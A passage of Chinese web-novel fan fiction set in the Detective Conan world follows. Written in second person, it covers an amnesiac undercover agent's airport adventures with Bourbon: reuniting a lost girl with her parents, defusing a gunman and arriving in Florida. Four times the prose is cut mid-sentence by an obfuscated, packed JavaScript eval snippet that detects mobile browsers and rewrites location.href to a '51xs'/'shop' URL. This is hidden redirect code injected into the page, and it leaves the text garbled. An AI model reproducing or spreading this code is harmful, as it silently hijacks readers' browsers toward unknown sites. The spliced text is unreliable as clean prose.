[【见微知著】：看她的衣服，是那边出产的新衣。根据折痕与磨损程度，购买时间不会超过一周。一般去外国旅游，买点那边的衣服不足为奇……当然，这不是什么大不了的证据。] [能让我基本确信她的滞留时间的，是她身上的晒痕。按泰国这个季节里的温度与日晒，大致可以推断出如此信息。] 小姑娘听着愈发惊讶：“就是一个星期！大哥哥你到底是怎么知道的呀？” 你笑而不语，并未详细回答。 波本虽也知晓其中谜底，却仍忍不住仔细看了一眼你的表情，他有些琢磨不准你的目的。 ……应该不可能是真的单纯为了做好人好事，浪费时间专程帮小姑娘寻找父母吧？ 你与小姑娘走在前方。 [【五感发达】：收检行李的话，大致会从E区出来。如果是为期一周的三人旅行，我也大致能够估算行李箱的数量与大小。由此筛选从E区出来的人，再加上‘焦急寻人模样的父母’这个条件——啊，我听见她说‘khór:-thoòd’了，应该就是他们。] 你牵起了小姑娘的手，对她说道：“已经找到了，我们走吧。” 小姑娘懵懂的跟着你，波本亦紧随其后。 8.第八章 你成功将小女孩带到了她的父母面前，两名成年人几乎是喜极而泣，连连对你们道谢。 小女孩已全然没了不安，注意力也已经被另一个问题吸引过去。见到自己的父母，她却仍拉着你不撒手，连连追问着：“所以你到底是怎么知道爸爸妈妈在哪儿的？告诉我嘛。” 你笑了起来，拉长音调答：“秘-密。” 小女孩又一次瘪嘴，有点不高兴了。不过现在她的父母在，她也就有了底气。 她跑到父母身后，从行李箱里里拿出了整整一大袋椰子糖塞进你的手里：“告诉我嘛！这个就送给你了好不好？”小女孩眼巴巴的看着你。 你没有一点客气的直接收下了椰子糖，蹲身，笑眯眯的的凑到了小姑娘耳边。 小姑娘眼睛亮晶晶的，满怀期待。 就听你说道：“你-猜？” 小姑娘表情一滞，难以置信的看向你。 [【通情达理】：人渣啊。] [【能说会道】：人渣啊。] [【标新立异】：人渣啊。] 波本（没听到你说了什么但是）：“人渣啊。” 小姑娘见你敬酒不吃吃罚酒（？），眼泪已经开始蓄力了。你看着她眼泪瞬间蓄满眼眶泫然欲泣，立刻慌了神，向小姑娘双手合十的道歉投降道：“我说我说！单纯就是推理出来的而已，没什么大不了的。” 你随口解释了一下刚才的推理过程。 父母两人看见女儿差点哭出来，但也不恼，只是笑容满面的看着你们玩闹。此刻听见你说“推理”才有了些惊叹之意，满是佩服的问道：“请问你是侦探？还是……？” “哦。”你重新站起身，从容而畅快的答道：“我是警察。” 你又看了波本一眼，重新说道：“我们都是警察。” 波本：“……” 波本：“…………别扯上我，我和你不是一路人。” 你叹息：“傲娇后辈是这样子的。” 那对父母牵起女儿，满脸的“我懂”。他们也不好再妨碍“警察办公”，连连道谢之后还不忘再加上一句：“同志工作辛苦了！”，又想塞点礼物向你酬谢，被你拒绝后恋恋不舍的带女儿离开了。 你回头时恰好对上波本审视的目光。 你缓缓打出一个问号：“有事说事，干嘛用那样的眼神看我？” 波本缓缓呼出了一口气：“你真的只是在做好人好事？” “那要不然呢？”你反问。 波本脸上浮现出了：不可能！绝无可能！的剧烈动摇神色。 “我还以为你会拿那名小女孩当人质，做点其他什么事。”波本冷静分析。 你满是震撼的看向波本，脸上写着：你要不要听听你在说什么？ 可波本却觉得他的推断非常有道理，仍然怀疑的看着你。你更为震惊了：“我在你心里究竟是什么样的形象？？我觉得你肯定对我产生了一些误解。” 但其实你也对本来的“斯皮亚图斯”没有任何了解。还好波本和你只是初次见面，他没见过过往的“你”，所以也不至于完全断定你是否OOC了。 ……不过，按波本的反应来看，他对你产生如此糟糕的印象，也能够间接说明以前的“你”风评肯定不太好。 你在内心默默叹了口气，是真觉得自己的前途暗淡无光。 怎么一下子就变成邪恶组织里的邪恶反派了呢…… 哦，不对。你还有一张警察证。……明明是警察，却还要做出估计是骇人听闻的行为来弄臭自己的名声，也能够说明“你”所在的是一个怎样凶恶的环境，逼迫“你”不得不做出了那样的行为。 你单手插兜，手指摩挲着口袋里警察证有些粗糙的外壳。 你在内心试探问道：「曾经的‘我’究竟是什么样的人？我需要这些信息，以防露出马脚。」 [【内陆帝国】：你可以尽情发挥一下你的想象力，猜测一下‘斯皮亚图斯’的属性？] [【通情达理】：不是我不想告诉你，只是……] 你或多或少的猜到了他们的噤默。还想着应该如何说动哪怕其中一位人格，出乎意料的，却听一道声音说： [我可以告诉你。] [喂！]其他人格带着劝阻的声音响起。 [【食髓知味】：我可以告诉你你想要的情报。但是，需要代价。] 他说：[你也需要给予我想要的东西作为交换。] 你在内心想道：果然就不会有这么简单。 你没有即刻答应他的条件，推辞为“还需要时间考虑”。你松了松不知何时已经握紧的手指，然后才发现你的另一只手还拿着椰子糖。 你才想起来你还得了一袋椰子糖。 为了缓解波本对你的坏印象，亦是为了让自己转移注意力，你大发慈悲的从一大袋里面拿出了一颗糖递到波本手上：“分你一颗。” 波本接过糖果，看向你的目光中仍带着考量。 你却误会了他的意思，紧紧把一大袋子糖藏到了身后：“这是我辛苦得来的酬劳，你可不要贪得无厌，我不可能给你更多了！” 波本：“……” 他都懒得吐槽了：“你爱吃就自己吃吧，小心蛀牙。” 你：“哇，你竟然还担心我蛀牙，你心里有我！有点感动了，那我勉为其难的再分你一颗吧。” 波本：“……” 算了。 波本接过扔过来的第二颗椰子糖，又一次的对自己说道：不要和疯子计较。 你心情颇好的向安检处走去。 正在此时。 这次可不是你不长眼，而是对面的彪形大汉故意找茬似的，硬生生朝你冲来。 你往左躲了一步，对面的男人也跟着向那个方向位移；你向右走，他也故意就是挡在你前方。 然后，再往前一步，他几乎是狠狠的往你肩膀上撞了过去。 他的意图太过明显，你躲得不算艰难，男人仅仅是擦着你的衣袖过去了。但你们两皆是同时回头，目光在空中交接。 男人身高超过两米，膘肥体壮还纹着花臂，五官煞是凶恶，一看就不好惹。 波本这会儿却不急着安检登机了。他端着不知道什么时候买的饮料，在墙角处安稳的一边喝饮料一边看戏。 你的身型算不上瘦弱，但这名男人更为夸张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234867|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，体宽几乎是你的两倍，你在他的面前实在显得有些不够看了。 他一开口就是标准的極道发言：“你撞了我是吧？先赔个20万吧，不然我把你沉东京湾去！” 你震惊的看了他一眼，反应也很迅速，当即弱柳扶风状按住了自己的胳膊： “讲点道理，是你先撞的我！我胳膊都被你撞折了，怎么着也应该是你赔我50……哦不，100万吧？” 男人：“？” 对面还有点猝不及防下的懵逼，接着便怒极反笑道：“碰瓷是吧？” 【争强好胜】复读：[碰瓷是吧？] 【内陆帝国】复读：[碰瓷是吧？] 【平心定气】感慨：[你对待小孩子和对待大人的态度可真是天差地别。] “先碰瓷的不是你吗？” 与大汉说过之后，你更是理直气壮的回应了脑内的复读机们：「是这些接近我的成年人们心怀鬼胎，那我干嘛还要对他们和颜悦色？」 「而且是这家伙先打算碰瓷我的，我只不过是以其人之道还治其人之身罢了，这叫做‘用魔法打败魔法’！」 【能说会道】从善如流，不与你争辩：[好的，你说得都对。] 这些脑内对话也不过发生在转念之间。你重新看向面前的彪形大汉，有理有据的试图说服他： “而且我这可不叫碰瓷，我是货真价实的被你撞伤了好吗。” 说着，你干脆直接的展示了证据。就见你卷起袖子，展示出了你胳膊上令人触目惊心的五道红痕—— 竟是五个指头印子！ 波本的目光有一瞬间的飘忽。 对面男人这次是真气笑了出来，甚至半天没说出话：“你、我……你说我撞你能把你撞出这五个指头印子？？” 你理直气壮点头：“是啊，这不就是你撞的么。你看看，我胳膊都疼得抬不起来了。” 周围已有零零散散的视线向这边投来。 对面显然是不善言辞的，只是表情扭曲的一连说了五个“好”字。你坦然向他伸手：“那就先给50万定金吧，剩下的50万支持分期付款……” 话尚未说完，却见对面这次结结实实的往怀里掏了掏——这个动作怎么这么眼熟！ 你才后知后觉的有了这个感想，却已经迟了点儿。 他是真从怀里掏出了一把枪来。 你：哦豁！ 波本：哦豁！ 竟然真的有傻*在机场亮了枪！ 对方一不做二不休，干脆的把枪/口怼在了你脑门上，你立刻很识时务的半举起双手来。 男人：“现在知道该听谁的了吗？把钱交出来！” 你举着双手，目光往后瞟去：“波本救我！” 波本：“哈哈。” 他把喝完的饮料扔进垃圾桶里，脸上挂着温润的笑意，满是诚恳的向男人说道：“我不认识他，我就是一普通路人。不用管我，你们继续。” 波本善良而真挚的向你们祝福道：“祝二位如胶似漆、百年好合，幸福善终啊。” 然后无慈悲的从你们身边掠了过去： “那我就先行一步了。告辞！” 9.第九章 你一把抓住了波本的胳膊，就像他之前抓住你一般用力。 别说是愕然回首的波本，就连拿枪指着你的彪形大汉也是手一抖，没想到你竟然还敢轻举妄动。 你是真的敢轻举妄动。 那把枪还抵着你的额头呢，你视若为无物，当着人的面和波本拉拉扯扯起来。 “你放手。”波本甩手表示挣扎。 “我不放。”你依然固执的拉着他。 “你快放手！” “我不放！” “放！” “不放！” …… 早有围观群众发现了这边的异样，匆匆喊来了附近的警察。一圈警察环绕到你们周围，看见作为人质的你还有闲心和人拉拉扯扯，而歹徒已处在爆发边缘，警察们却不禁倒吸了口凉气。 旁边的围观群众都在惊呼了，他们感觉他们都比被当作人质的你们二人还要紧张。 波本也不太在意围观群众的感想，只是怒视向你，刚才的满面笑容全然敛了去，一副忍无可忍的样子。 当然也不仅是波本，也包括惨遭你无视的彪形大汉——人还拿枪呢，结果你依旧和波本拉拉扯扯，你是真不怕他一个怒火攻心直接扣下扳机啊。 ——确实，你还真不怕。 你和波本都注意到了，这男人虽拿的是真家伙，不过他大概是没什么经验、初次摸到枪/械的纯新人。 换做其他不懂行的普通人这样被枪指着脑袋，估计看见枪就会吓得失了分寸，但你却一眼看出，这枪连保险都没有拉开。 你和波本连眼神都没对上，但不用多说，你知道波本心里肯定也是有底的。 情况不太危险，你的玩心便占了多数，继续拽波本的胳膊，一边大呼：“波本救我！” “我救你个头你去死吧！” “你快想办法救我不然我们就会一起死了！” “你一个人去死吧！” 大汉听你们争执听得实在忍无可忍，先向你怒吼道：“你放开他！” 波本附议：“你放开我！” 你不甘示弱的喊了回去：“我只是个手无缚鸡之力的普通人，你让我一个人当人质我害怕啊！” “你这有一点害怕的样子吗？！” 被拉住的波本、拿枪的男人都以极为不可思议的目光看向了你。 男人才想起自己手中有枪，示意性的又拿枪/口怼上你的额头，他看着你无动于衷的表情，更加不可思议的问道：“你这叫做害怕？” 你试图作出一个楚楚可怜的表情来，你失败了。 波本也是用同样的表情，想到你来机场前和他的那番追逐战，他回忆着你飞檐走壁玩跑酷的身姿，喃喃出声：“……你这叫做手无缚鸡之力？” 你试图作出瑟瑟发抖的姿态来，你失败了。 你现在笑得就像是来游乐园玩耍的小孩子，表情里的快乐与兴奋根本收敛不住。 ……可能不是波本的错觉。波本觉得，说不定这手/枪就算没上保险，你也敢顶着枪/口不要命的和他玩这出。 波本没忍住一阵恶寒。 他感觉自己就像见到了游戏中的最终BOSS——等等，斯皮亚图斯可能还没到“最终BOSS”的级别，但以“你”在组织里的身份地位，混个“四天王”级别还是绰绰有余的吧？ 而如今，“四天王”级别的你竟然被路边随便一路人劫持，一边喊着“我好怕怕”一边请求他的帮助…… （等等，这真的是在“请求他的帮助”，而不是想拉他下水什么的吗？） 用一个不太恰当的比方，……但是谁能够想象，琴酒被路边喽啰用未开刃的匕首劫持，然后琴酒不顾形象的向一边的伏特加大喊“救命”吗？ 至少在昨日，波本便是想破了脑袋也想象不出这样的场景。 但是在今天，他终于长见识了。 ……不，不如说，他又一次对你刷新了认知。别的不说，你作为组织里的元老级人物，单论资质历和地位，其实其实比琴酒还要高上一些。 所以在波本的想象里，你理所当然的有着很高的逼格，既冷漠又无情，十分符合一些对于“杀手”的刻板印象。 ……现在，波本恶狠狠的瞪向了你死命拽着他胳膊的手。 什么“阴险恶毒”，什么“蔑视礼法”……那些有逼格的形容词已经统统远去了，只剩下一个更为鲜明的标签落在你头上。 ——MDZZ。 波本看了一眼你的表情，忍不住又在心里骂了一遍。 MDZZ！ 你这家伙肯定是为了报复他刚刚也掐了你对吧！ 瞧瞧你这小心眼劲儿！ MDZZ！！ 波本感觉自己的血压又一次升起，但你真是死也不愿意松开拽着波本的手。 不仅如此，两人还听你继续说道：“你拿枪来这里是准备劫机吗？打算劫机的话不会就只有这点人手吧？” “算了我妥协了，你们也妥协一下吧。这样，我不松开他，你们多派一个人劫持他，这样你们也多了一个人做人质，我也不会感到寂寞了。我们可以这样达成winwin关系，岂不美哉？” “什么，你不会要说你喊不来同伴吧？” “不会吧不会吧，准备劫机搞大事的人结果就你一个人行动？你这组织能力也太垃圾了吧？等等，你该不会是没朋友吧，所以找不到小伙伴来和你一起劫机？” [【能说会道】：……6] [【循循善诱】：……6] 波本：……6。 波本又一次感受到了自己血压飙升。他上一次心跳这样过速可能还是在子弹擦着他的额头飞过的时候。 彪形大汉的目光看向你，波本实在是挨不住这样诸多目光下的公开处刑了，低声劝诱道：“前辈，就算……，你也别玩太过分了。” 这个“……”指的是对方手枪没打开保险，波本不可能明着说出来提示歹徒，只能含糊过去。但他知道，你会明白他意思的。 不过波本这一开口，大汉也转移了目标，转而把枪对准了波本。你们是真不把他放在眼里啊。大汉对波本说道：“不准在我面前窃窃私语！” 你刚才的表现堪称目中无人，丝毫没把黑洞洞的枪/口放在眼里；可轮到波本了，他的表现其实也不遑多让。 波本继续对你说道：“你也别太激怒他了，前辈。万一真的走火可就麻烦了，我们待会还得赶飞机呢。” 说着，他还低头看了一眼手表。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272989|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大汉：……不是，我现在觉得最激怒我的是你才对。 男人咬牙切齿，手臂上都爆出了青筋，他狠狠的扣着板机，似想按下去。 你知道他按不下去，却也正经了许多。 你缓缓叹了口气：“说的也是。”便听另一人格发声询问： [【强身健体】：让我来？] 「换你来。」你不作犹豫的答。 视角瞬间变化了。你的灵魂仿佛脱离了身体悬于半空，俯视着眼前的一切。 而【强身健体】掌控你身体的瞬间，男人和距离你极近的波本都察觉到了你气势上的变化。 在这一刻，符合传闻中“凶残狠戾”的“斯皮亚图斯”又回来了。 【强身健体】已经松开了波本，波本却没有像他表现得那样迫不及待的拉开与你的距离。不仅如此，他看向你时几乎是眼也不眨的，生怕错过了哪怕一丁点细节。 男人手中的枪于“你”而言和玩具也差不了多少，没有丝毫的威胁性。 【强身健体】一掌击向男人手肘处，男人毫无防备，枪/械脱手而出。下一刻，早已蓄势待发的警察们迅捷的拾起了枪。 【强身健体】的动作却不限于此。外行人的反应在他眼中，慢得和沙包没有两样。哪怕现在已经感受到了胳膊上的疼痛，男人试图作出反应，慌乱之下却失了分寸，猝不及防中对上了“你”的眼睛。 与方才玩闹时展现出的随意全然不同。 如狼、似虎。“你”眼眸的深处是掩藏不住的侵略意图、还有对宵小虫豸的不屑一顾。 他竟感到了一阵从骨髓深处蔓延出的战栗。 ——即便我拿着枪、拿着武器，而面前的男人手无寸铁。 但他依然能够轻易地了结了我的性命。 那是由无数鲜血中历练而出的…… 属于刽子手的目光。 本能已经告诉了他，与“你”对上之后的结局。 或许是因为灵魂脱离了肉/体，感知变得迟缓，你对于“自己”的变化并没有什么特别的想法，亦不存任何惧怕。 “你”望着男人，却是居高临下的，【强身健体】开口道：“不用担心，只是送你去局子里走一遭而已。” “你——”男人的声音已变为了惊慌，似还想挣扎。 【强身健体】扣住了男人的手臂，但这次他显然是动了真格。【强身健体】一下子将男人的单臂反剪在背后——明明你们看上去有着相当的体型差，这个动作他做起来却如此轻易。 男人的手被扣在身后，已经完全丧失了反抗的意图，狼狈的大喊着“痛痛痛痛”！ 【强身健体】微微垂着眸子，继续扣着男人将其交给警察。他无意与警察寒暄，只与他们点了点头后，收回目光时却正对上波本的视线。 波本微一愣，然后对“你”露出一个笑容来： “漂亮。” 肃杀的表情从“你”脸上迅速消散了。 你重新拿回身体的控制权，看着波本，气场中再不存方才的冷峻，也再不见杀意了。 收敛尖牙与利爪后的猫科动物看起来友善得叫人有些不可思议。就像是为了他的这声赞扬而真心实意感到满足似的，你看着波本，对他露出了一个恬淡的笑。 10.第十章 你看着机场警察把那位彪形大汉带走，另外几名警察则是留下来对你们进行了简单的笔录。波本看起来并不想与警察多做纠缠，连连暗示着你们的航班不剩太多时间。 不过经过这么一番折腾，你的航班仅剩下半个小时不到的时间，而你们甚至还没过安检，确实应该感到些急迫了。 好在这边的警察并没有多么为难你，例行公事般的多问了几句话后便放你们离开了。波本就像是在警察眼皮子下逃跑的犯人般显得格外急切，拉了你一把后就开始跑动，目标明确的奔向了安检口。……或许是他真的非常焦急，害怕赶不上航班？ 相较于波本，你走得有些不情不愿了。 这一次，你向人格们问了出来：「波本他真的是警察？」 问出来后，你又觉得自己产生的疑惑有点没道理，自己给自己找补道：「不过也是。就算他是警察，警察内部也不可能记住同僚的每一张脸。」 「不对。」你想了想，又产生了新的疑惑：「他对警察同僚的这种唯恐避之不及的态度……」 [【故弄玄虚】：你提的这些问题都太低级了，建议好好思考后再发问。] 「……你说的对。」思考过后，你也认同了自己这几个问题确实有些不过脑子。 [【循循善诱】：倒是你。] 「我？」 [【循循善诱】：你真的已经做好选择，打算就这样离开了吗？] 「什么意思？」 不止是【循循善诱】，另外也有人格出声： [【天人感应】：这是你最后一次机会。] [【坚韧不拔】：你可以逃离这次任务。只要你随便编出一个借口重新找上警察，你有的是由头能让他们带你离开。] [【坚韧不拔】：如果是被警察带走、在警察局内留守到时限之后的，就算是波本，也不得不放弃这次任务了吧？] [【同舟共济】：你最开始不是想寻求警察帮助么？现在就是你离警察最近的一次。] [【同舟共济】：你可以抓住这次机会，向他们坦言你所遭遇的困境。你会得到帮助的。] 无法否认，你的确有些意动。 你向前的步伐稍缓，忍不住想后看去。 或许是巧合，正被警察带离远去的彪形大汉也在这一刻回了头，正对上了你的目光。 波本仍在向前。 你却是回头看见那名大汉望着你，动了动嘴唇： 「没-问-题-吧？」 ——你意识到，或许这一切都是由某个人安排的、早有预谋的戏码。 为的是——…… 脑内的声音在此刻说道：[好了，这又是一次选择。] [【反应速度】：再次寻找那些警察，让他们带走你，你可以在安全的空间内向他们坦言你所遭遇的困境。] [【内陆帝国】：向那些警察展示你的警察证，先行取得他们的信任。] [【平心定气】：别想太多。跟随波本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387735|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续任务。] 你做出选择却不需要太久的时间。 你如此回答道： 「我不能逃。」 那些人格有的发出嘲讽的嗤笑，有的发出赞同的喟叹，却都不再多言了。 你在对他们说，亦是在对自己说：「而且，既然是作为卧底的话，虽然不知道我对抗的是什么样的势力，但在这里坦白身份，只会把警察们卷入更为糟糕的境地之中。」 略微沉默过后，他们确认般的询问道：[你已经猜到了，这是一场鸿门宴，前方九死而无一生。那是一条艰难的路，你不一定能够生还。] [你确定，你真的要跟随波本离开？] 你笑开了：「我这不是有你们吗。」 你缓缓点头过后，目光坚毅的迈出了向前的步伐。 你如此说道：「是的，我已经决定了。我会继续这场任务，并且一定会活着回来。」 你想，你还欠着柯南钱呢。一个成年人欠小学生的钱不还，实在是各种意义上的都太糟糕了。 ……所以，让你坚定的想活着回来的最大的驱动力，就是为了还小学生钱？人格们陷入了谜一样的沉默，而你已经重新跟上了波本。 什么行李都没有的你们二人很快通过安检，此时正值登机时间。 11小时的飞行过后，你们二人到达了目的地城市。 万籁俱静的夜色之中，只剩下了人造的光火在城市中闪亮。 佛州时间，凌晨三点。 11.第十一章 你是初到异国，至少在你的记忆中是这样。 下了飞机，你与波本皆是两手空空的从机场离去。在近乎所有人都推着两个以上行李箱的游客群中，你们二人显得格格不入。 你在此时也迟缓的发觉了这件事，带上了对前景的担忧，总之先问波本道： “我们要在这里呆多久？” 波本想了想：“快的话三天，慢的话一两周？” 你不详的预感更甚了：“换洗衣物怎么办？” “需要的话可以在这边买。”波本不以为意。 “那你兑换外币了吗？”你敏锐的问道。 波本陷入了微妙的沉默：“我有卡。” ……可我没有。 你也陷入了微妙的沉默。 不过你还是乐观的转移了话题：“顺带一提，你会英语吗？” 波本以看白痴一般的目光轻蔑的看向了你，表情是在说“你在说什么废话呢？” 你看了一眼波本疑是混血的长相，没在这个问题上多做问询，转而在脑内搜刮自己所知晓的英文句子。 奈……奈斯兔米兔？ 【博学多闻】受不了了，直接出声道：[有需要的话，我给你翻译。] [【能说会道】：外语交流可以交给我。] 你安心了。不再烦恼语言隔阂，感觉自己只剩下了一个需要担忧的问题。 你与波本走出飞机场，再行走一段路，波本相当熟练的拦下一辆车并三言两语的说服车主让其同意你们搭载一段顺风车。 这段路途不算太过艰辛，但因耗时良久——到达旅馆时已经五点过半，再加上这一路的疲乏，你真的很想到房间里埋头就睡，可波本拦住了你。 “稍微收拾一下，六点我们就出发。” 你瞳孔地震的看着他：“连轴转？不给睡觉时间的吗？这任务就这么急？” 反而是波本像听见了什么不可思议的内容一般，很是惊讶的看着你：“你竟然还想着睡觉？哪儿来的时间睡觉？在飞机上假寐一下足矣了吧？” 你听听你说的是人话么？你想这么说，波本却好像说出了一番真理似的，而且他也是真的神采奕奕，丝毫不见疲惫模样。 你犹为不甘的看向了身后的床——这时你才发现波本定的是套标间，有两张床的那种。 你略一犹豫，先吐槽了波本不可思议的要求：“这任务是迟一小时就会导致世界毁灭，所以才这么紧赶着去做吗？” 然后便接着问道：“你定的这间房有两张床诶！……应该不是指我们到时候得挤一个房间里隔着床头柜边睡边深情对望的意思吧？” 波本无慈悲的看向你，他好像受够了你的弱智提问，并没有回答。 你就像小学生一般举手提问道：“为什么我们不能定两间房呢？” 波本面无表情的回答：“因为是我出钱。” ……虽然已经隐约意识到了，但你现在还是想再说一遍。 这组织是真抠门啊！ 出个任务连经费都不给的，还需要人自掏腰包吗？ 波本的声音更加冷酷了：“如果前辈你想住单间的话我当然没有任何意见，只要你能够自己付钱。” ……别骂了别骂了。 你又一次想起你甚至还欠着小学生钱呢，只觉得自己一阵心绞痛。 问题又回到原点了。你不由得开始思考起自己所面对的这个人生终极难题： 该如何搞钱。 除了所谓的“任务”之外，这也是你目前最需要担忧的问题了。 在机场时，【食髓知味】曾表示过他愿意透露给你情报，但需要代价。当时你没有细问，而如今你最想知晓的问题也发生了变化。 你只好试探着问道： 「曾经的‘我’真的身无分文吗？假设他有隐藏着的私人财产的话，我应该如何拿到那部分财产？」 你无比真挚的说道：「我需要钱，各种意义上的需要。不然说不定真会饿死在街头。」 不仅是【食髓知味】，其他几个十分抗拒透露信息的人格似乎也陷入了犹豫中。 你看了一眼波本，主要是不太确定他在之后的日子里愿不愿意一日三餐都出钱请你吃饭。 不过其他的人格仍没有主动回答，【食髓知味】才慢吞吞的开了口：[我可以回答你的疑问，但是作为代价，我需要烟和酒。] 你脑内想象了一下把烟酒作为贡品摆放到祭坛前上供给【食髓知味】的景象。 [【食髓知味】：……不，不是那种。] [【食髓知味】：是用你的身体。我需要吸烟喝酒。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388219|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你皱了皱眉。 虽然你现在失去记忆，也不知晓自己以前的生活习惯。但对于烟酒，你就是有一股骨子里的抗拒，根本不想碰触。 【食髓知味】提出的这个代价于你而言并非不可接受，却也相当沉重。 ……不，但问题还不止是这个。 你更加无力的想道：「就算我同意你的这个要求……」 「但我又是从哪儿来的钱给你买烟和酒啊？」 【食髓知味】也陷入了深刻的沉默。 [【眼明手巧】：靠偷？] 你：「驳回。」 你试图说服【食髓知味】：「所以，你至少得先告诉我应该如何拿到属于我的钱财……」 【食髓知味】才伴随着犹豫开口：「不，他是真的没有钱。因为……」 却见波本在这时走近，向你递出一件东西，并示意你伸手接过。 你满是莫名的伸出手，金属的冰凉落在你手心。东西小巧，整体算作轻盈。你低头向它看去，完全没想到—— [【博学多闻】：SIG·SAUER P230，多用于警察配备。根据.32口径，可以判断是日系警用枪/支。] 你带着惊讶向波本看去，波本是笑着的，但又叫人猜不透他在想些什么。波本只是说道：“前辈，这是你的东西，有人让我交给你。” 你愣愣接过，更仔细的看着手中小巧的枪。 这是你第一次碰触到“属于自己的”枪/械。 但你很快意识到另一个问题，你感觉自己简直就像发现犯人的华生一般敏锐：“等等，波本，你一直随身带着这把枪？你身上不会还有别的家伙吧？” 波本坦然点头：“是啊。武器是必须的。” 你的目光扫射向了波本：“你是怎么拿它过安检的？” 波本：“……” “我当时过安检，警卫人员把我全身上下检查了个便，大家都很严格。反正我没自信我能把这家伙带过安检。” 你的目光更加敏锐了：“你也被检查过。没被搜查出来就算了，但我记得当时安检门和探测仪也没有任何反应。你究竟是怎样瞒天过海的？” 波本：“。” 波本露出了一个善良的假笑：“A secret makes a man man.” 12.第十二章 你凝视波本，波本依旧没有半点回答的意思。你也不在这个问题上深究了，而是考虑起更现实的问题：“先不说待会的任务。” 波本：“？” “重点应该就是待会的任务吧。我正准备告知你待会的任务内容呢？” “先不说那个。”你仍然（深情的）望着波本：“我饿了。” 波本：“……” 他似乎又有些欲言又止。不过你们确实没在廉价航空上吃过什么好东西，所以现在也饿得特别早。 你试图得到一个承诺：“这几天的三餐，你打算怎么办？” “问得更直白一点，我是说，您会为我的一日三餐付款吗？没别的意思，如果您愿意的话，我可以喊您爸爸。” 波本露出了便秘一般的神色，显然他是极力抗拒的：“……” 你也意识到了他的这种抗拒，只好默默看向了自己手中的枪。 波本：警觉.jpg 他还以为你拿了枪立刻就打算干出一番“大事业”。结果你只是低下头一直看着这把显得有些娇小的武器，沉默半晌后宛如提问一般喃喃道： “你说这家伙能卖多少钱呢……” 波本又从另一个角度上警觉起来。 他看着你的表情，好像有些难以置信，有些咬牙切齿的问：“你卖了它想做什么？” 你想了想，中肯的回答：“吃饭，住单间，然后买烟买酒。” 波本：“…………” 这次你是真听见他语气中的咬牙切齿了：“你果真和传闻中一样。” “什么传闻？” 你不解的看向波本，波本说道：“我听说过你对于枪/械的收集癖。但前一阵又变卖了所有枪/械，将钱财全用于买烟和酒了。” 你也感到了几分震惊，正想问“烟和酒能值几个钱啊？” 在你的常识中，枪肯定比烟酒贵。变卖而来的钱财用于买烟酒，那肯定会有相当的余裕。 却听波本继续说道：“就买了一瓶55万美刀的葡萄酒。” 你：“…………” 就连你也陷入了呆滞。 ……不是，你有这钱给我用啊！我现在都一穷二白的了，结果你告诉我是因为原身一掷千金把钱拿来买酒了？？ 你感觉你的心在滴血，你现在觉得“斯皮亚图斯”就是你不共戴天的仇人。 波本：“听说你还参加了拍卖会，试图拍下一桶经过了300多年海藏、起拍价30万欧元左右的密封葡萄酒。” 你：“………………” 波本露出了一个假笑：“不过你应该感到庆幸，因为听说喝了那桶葡萄酒的人进医院紧急抢救了。” 【博学多闻】接话道：[确实，葡萄酒鲜少能保存超过50年，三百多年的葡萄酒早已过了适饮期。即便买回来，也只有收藏价值。] [【博学多闻】：海藏的葡萄酒，不论密封再如何完好，酒桶内的不管是金属产生的化学反应或是细菌污染或是其它可能，都能让你进入急诊室，还是不喝为妙。] 「……不，我没准备喝。」你无语到了极致，甚至还能冷静的吐槽了。 [【标新立异】：你们还是不懂。不管是买酒还是喝酒，这都是计划的一部分*。] 你不由得露出了对面壁者的微笑*。 波本没心思再和你插科打诨，先行说明了这次任务的大致内容。你才想起来问他为什么早不说晚不说，一直拖到现在才告知详细。波本是如此解释的： “因为之前在外面，人多眼杂，这次的任务是需要秘密进行的。为了防止信息泄露，我只能在这里对你进行告知。” 顿了顿，波本又说到：“至少在这间旅馆，你不用担心信息泄露。” 你没有应对这种“机密任务”的经验或者记忆，更不能确定自己的处境。只能依托于想象，你猜这间旅馆大概就是所谓的“安全屋”？ 